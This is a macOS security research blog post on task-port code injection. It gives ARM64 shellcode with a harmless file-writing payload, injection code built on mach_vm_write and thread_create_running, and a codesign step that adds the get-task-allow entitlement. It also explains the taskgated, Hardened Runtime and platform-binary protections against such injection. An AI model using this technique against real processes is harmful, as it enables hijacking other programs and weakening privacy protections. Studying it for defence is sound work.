Task Injection on macOS

This is an expansion article for my previous work about Mach IPC Security on macOS, where I described the concept of Tasks and Processes and how they are interconnected on macOS.
Although I introduced the security of the Mach, I did not show how the attacker could leverage access to it. In this article, I will show the Task Injection and some security rules that protect from it. You can also learn here how lldb utilizes debugserver on macOS to debug processes and a few red tricks.
Enjoy!
Task Injection Coding
Task injection requires acquiring a task port, precise memory management, and executing arbitrary code within the target process. To inject this arbitrary code we must prepare it in ARM assembly.
Injecting this shellcode into a target process involves several steps after acquiring the task port of the target process. I implemented them in the map_memory
and inject_code
functions in my code.
Shellcode for macOS
The provided shellcode demonstrates a simple way to create a file /tmp/research_success
, write the string “pwn\n
” to it, and exit cleanly. Here’s a breakdown of its purpose and structure:
- Creating the File: Uses the
open()
system call to create the file at the specified path. - Writing Data: Calls the
write()
system call to write a predefined string to the file. - Exiting: Cleans up using the
exit()
system call.
__attribute__((naked)) void shellcode() {
__asm__(
// Set up our stack frame - allocate 32 bytes
"sub sp, sp, #0x20\n"
// Open a file
// The adr instruction loads the address of our filename relative to the current position
"adr x0, 1f\n" // Load filename into x0 (first argument)
"mov x1, #0x601\n" // Flags: O_CREAT|O_WRONLY|O_TRUNC
"mov x2, #0666\n" // File permissions: rw-rw-rw-
"mov x16, #5\n" // System call number for open()
"svc #0x80\n" // Make the system call
// Write to the file
"mov x19, x0\n" // Save file descriptor for later
"adr x1, 2f\n" // Load address of content to write
"mov x2, #4\n" // Length of content (including newline)
"mov x16, #4\n" // System call number for write()
"svc #0x80\n"
// Exit cleanly
"mov x0, #0\n" // Exit code 0
"mov x16, #1\n" // System call number for exit()
"svc #0x80\n"
// Data section
".align 4\n" // Align data to 4-byte boundary
"1: .asciz \"/tmp/research_success\"\n" // Null-terminated filename
"2: .asciz \"pwn\\n\"\n" // Content to write
);
}
The __attribute__((naked))
compiler attribute ensures no extraneous function prologue or epilogue is added, preserving full control over the generated assembly. It is also vital to align data structures (".align 4\n"
) in memory to ensure compatibility with the ARM64 architecture.
Step 1: Acquiring the Task Port of the Target Process
The task port is the key to interacting with the target process. We can get it by using task_for_pid
function, which requests the task port for the specified process ID.
// Get a task port for the target process
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
mach_task_self()
refers to the task port of the calling process.target_pid
is the process ID of the target we want to interact with.task
will hold the task port for the target process if the function succeeds.
This is a critical step that is secured by taskgated. Any of the following steps will not work without it.
Step 2: Allocating Memory in the Target Process
After that, memory must be allocated in the target process’s address space to store the shellcode. For this task we can use mach_vm_allocate
which creates a writable memory region in the target process.
// Allocate memory in the target process
// VM_FLAGS_ANYWHERE lets the kernel choose a suitable address
kr = mach_vm_allocate(task, addr, aligned_size, VM_FLAGS_ANYWHERE);
task
: The target process’s task port.addr
: A pointer to the base address of the allocated memory.aligned_size
: The size of the allocation, aligned to the system’s page size.VM_FLAGS_ANYWHERE
: Lets the kernel choose the address for the allocation.
Step 3: Writing Shellcode into Allocated Memory
The next step is to write the shellcode into the allocated memory region with mach_vm_write
which copies the shellcode to the allocated memory in the target process.
// Copy our shellcode into the allocated memory
kr = mach_vm_write(task, *addr, (vm_offset_t)data, size);
task
: The task port of the target process.addr
: The address of the allocated memory in the target process.data
: A pointer to the shellcode.size
: The size of the shellcode.
Step 4: Setting Executable Permissions on Allocated Memory
The allocated memory region must have the correct permissions for the shellcode to execute. The mach_vm_protect
changes the protection attributes of the allocated memory.
// Set the memory permissions to allow execution
// We need both read and execute permissions for the code to run
kr = mach_vm_protect(task, *addr, aligned_size, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
task
: The task port of the target process.addr
: The address of the allocated memory.aligned_size
: The size of the memory region.VM_PROT_READ | VM_PROT_EXECUTE
: Grants read and execute permissions.
Step 5: Creating a New Thread in the Target Process
To execute the shellcode, a new thread is created in the target process, with its instruction pointer set to the shellcode’s address. This can be achieved with thread_create_running
:
// Set up the initial register state for our new thread
arm_thread_state64_tarm_thread_state64_t thread_state = {0};
thread_state.__pc = remote_code; // Program counter - where to start executing
thread_state.__sp = (remote_code + 0x1000) & ~0xFULL; // Stack pointer - aligned to 16 bytes
thread_state.__x[29] = thread_state.__sp; // Frame pointer
// Create and start a new thread in the target process
thread_act_t new_thread;
kr = thread_create_running(task, ARM_THREAD_STATE64,(thread_state_t)&thread_state, ARM_THREAD_STATE64_COUNT, &new_thread);
task
: The task port of the target process.ARM_THREAD_STATE64
: Specifies the architecture and thread state.thread_state
: Defines the initial state of the thread (e.g., instruction pointer, stack pointer).new_thread
: A handle to the newly created thread.
Thread State
The remote_code
the address specifies the starting point for execution. It is determined during memory allocation and points to the shellcode copied into the target process’s memory. Setting this ensures the program counter begins execution at the shellcode entry point.
Aligning the stack pointer to a 16-byte boundary is required by the ARM64 ABI to ensure proper function call behavior and compatibility with system expectations.
In ARM64, `x29` is the frame pointer. Initializing it to the stack pointer ensures a consistent call stack setup for the newly created thread.
Full Execution Flow
Here is the summary of the whole flow of the Task Injection. In the second part of the article, we will test how it works against different targets on macOS.
- The user specifies the target PID.
- The program acquires the task port using
task_for_pid
. - Memory is allocated in the target process.
- The shellcode is written into the allocated memory.
- Memory permissions are set to executable.
- A new thread is created in the target process to execute the shellcode.
The full code can be found in the Snake_Apple/X. NU/custom/mach_ipc/task_for_pid_inject.c
Task Injection Overview
Task injection on macOS involves acquiring the target process’s task port (mach_port_t
) to execute arbitrary code in its address space. Once the task port is obtained, we can typically:
- Allocate memory in the target with
mach_vm_allocate
- Write shellcode or a payload using
mach_vm_write
- Set executable permissions via
mach_vm_protect
- Create a new thread in the target with
thread_create_running
However, first, we need to acquire a process task port to do that.
Task Port Security
Acquiring another process’s task port is controlled by the task_for_pid
function, which is gated by taskgated
. This checks for appropriate entitlements and user privileges. Key rules include:
- Root Privileges: A root user can inject code into any non–Apple platform binary that does not have a hardened runtime flag.
- Entitlement-Based Access:
- If a target process has the
com.apple.security.get-task-allow
entitlement or any same-user process can obtain its task port. - A process with the
com.apple.system-task-ports
entitlement can access task ports of other processes, except for the kernel (PID 0). - A process with
com.apple.private.cs.debugge
r can inject into the same-user level process that is not hardened.
- If a target process has the
- Kernel Task Port: Accessing the kernel’s task port (
task_for_pid(0)
) grants full system control.
The logic behind allowing task_for_pid
exists in /usr/libexec/taskgated
exactly in MIG subsystem 27000. We can get its address using CrimsonUroboros --mig
parser:

It is not easy to analyze as most of the symbols are stripped. I will write a separate article about it.
task_for_pid alternative
Once we have compromised a target process, we have full control over its memory and execution. In such case, if we want to get access to the compromised process task port, we do not need to use task_for_pid
. Task ports can also be transferred manually by the process we compromised using:
: Adds a send right to a Mach port.mach_port_insert_right
: Sends the task port via Mach messages.mach_msg
Using task ports at that stage might not provide any additional benefit unless we need to enable another process to control the compromised one, and we want to achieve it through the task port.
Hardened Runtime and Platform Binaries
Even root cannot inject into processes that combine Apple platform binary + Hardened Runtime unless specialized entitlements or kernel-level exploits are used.
- Apple platform binaries (
is_platform_binary == 1
) for examplelaunchd
and others signed directly by Apple are protected fromtask_for_pid
codesign -v -v --test-requirement "=anchor apple" BINARY_TO_CHECK
- Hardened Runtime protects from code injection by enforcing strict codesigning (the injected code must be signed with the same certificate as the process binary we inject).

From the security point of view is_platform_binary
protection against the root is very important as such a possibility would bypass the Systems Integrity Protection of macOS. On the other hand, the Hardened Runtime is important for TCC as it prevents root from modifying user apps.
Injecting User Processes
If we try to use our Task Injection program against the process we launch that is not hardened and does not have any entitlements, we will fail, as we are not running the injector as root:

In the log stream, we can see it would be possible if we are root, our program is declared debugger, or the target process has com.apple.security.get-task-allow
entitlement. Let’s test for it.
Here, we will sign the crimson_server binary with the above-mentioned entitlement and try to inject it again from the same user-level access. First, we need to prepare the entitlements.plist
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
Then, we need to sign the binary with these entitlements using the following codesign
command:
codesign --entitlements entitlements.plist --force --sign - ./crimson_server

As we can see below, with this entitlement set, we can inject to the process even without root:

Debug Entitlemnt – lldb & debugserver
We can test the debugger scenario using lldb to attach to the crimson_server. We can see different log:
lldb -p $(pgrep crimson_server)
// kernel: Allowing set_exception_ports from [debugserver] on [crimson_server] for entitled process/debugger
The lldb
does not have proper entitlement but relies on debugserver
, a privileged process to interact with the target application. The debugserver has com.apple.private.cs.debugger entitlement, which grants debugging privileges to interact with protected processes:

However, this entitlement allows debugger injection only to the same user-level process. If we try to debug another user process, we will fail with:
error: attach failed: tried to attach to process as user 'karmaz' and process is running as user 'low_user'
Injecting as Root
If we try to use our Task Injection program as root against any process launched without a Hardened Runtime flag and is not platform binary, we will succeed:

Injecting the Hardened Runtime process is not possible, even if it is entitled:

However, it is totally fine to attach a debugger and control the execution flow. Below I attached lldb to the entitled process with Hardened Runtime and jump to the start of its main() to prove it:

To conclude, com.apple.security.get-task-allow
entitlement is highly insecure and can be used by the attacker with root permission to hijack the execution flow of such apps. It would not introduce any risks on other systems, as the attackers had already gained root. Still, this design issue on macOS can bypass some TCC protections if the user grants the app additional permissions.
Apple Binaries, aka Platform Binaries
The last scenario is injecting to a platform binaries. Let’s try with taskgated
:

As seen below, it is impossible, yet the log message suggests trying with lldb. This results in the error:
error: attach failed: attach failed (Not allowed to attach to process. Look in the console messages (Console.app), near the debugserver entries, when the attach failed. The subsystem that denied the attach permission will likely have logged an informative message about why it was denied.)
When we look at the log stream, we can see that only a read-only debugger can attach:
kernel: (AppleMobileFileIntegrity) macOSTaskPolicy: (com.apple.debugserver) may not get the task control port of (taskgated) (pid: 3762): (taskgated) is hardened, (taskgated) doesn't have get-task-allow, (com.apple.debugserver) is a declared debugger(com.apple.debugserver) is not a declared read-only debugger
This makes it impossible to control the execution flow of Apple-signed binaries, even from the root account. This effectively prevents code injections, which could allow bypassing SIP.
Final words
If this blog post interests you and you are interested in Cybersecurity in general, I encourage you to visit our AFINE blog regularly for new knowledge. If you are interested in macOS and want to learn more, bookmark the Snake_Apple repository, as any article I wrote will be listed there.
I hope you like it!